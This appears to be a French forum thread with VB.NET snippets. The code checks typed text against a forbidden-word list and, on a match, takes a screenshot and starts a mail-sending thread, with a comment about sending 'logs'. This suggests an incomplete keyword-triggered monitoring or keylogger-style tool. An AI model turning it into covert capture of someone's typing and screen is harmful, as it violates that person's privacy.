Sub VerifierMotInterdit() Dim ListeMot As String = IO.File.ReadAllText("C:\Users\Clément\Documents\ListeDeMots.txt") Dim MotLogs As String = TextBox1.Text Try If ListeMot.Contains(MotLogs) Then TextBox1.Clear() ListeMot = String.Empty Call ScreenShot(PictureBox1) Dim ThreadEnvoiMail As New Threading.Thread(AddressOf EnvoiMail) ThreadEnvoiMail.Start() ' 'METTRE CODE ENVOI DES LOGS ! ' 'CORRIGER LE BUG DE DETECTION LISTE DES MOTS SI PLUSIEURS MOTS End If Catch ex As Exception MessageBox.Show(ex.ToString) End Try
Dim lstWords As New List(Of String) Sub VerifierMotInterdit() Dim filename As String = "C:\Users\Clément\Documents\ListeDeMots.txt" Using sr As New StreamReader(filename) While Not sr.EndOfStream Dim lineoftext As String = sr.ReadLine.Trim If Not lineoftext = "" Then lstWords.Add(lineoftext) End If End While End Using Dim found As Boolean = False For Each s As String In lstWords If TextBox1.Text.ToLower.Contains(s.ToLower) Then 'Action si le mot est trouvé End If Next End Sub
lstWords.AddRange(IO.File.ReadAllLines("monfichier.txt"))
Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre question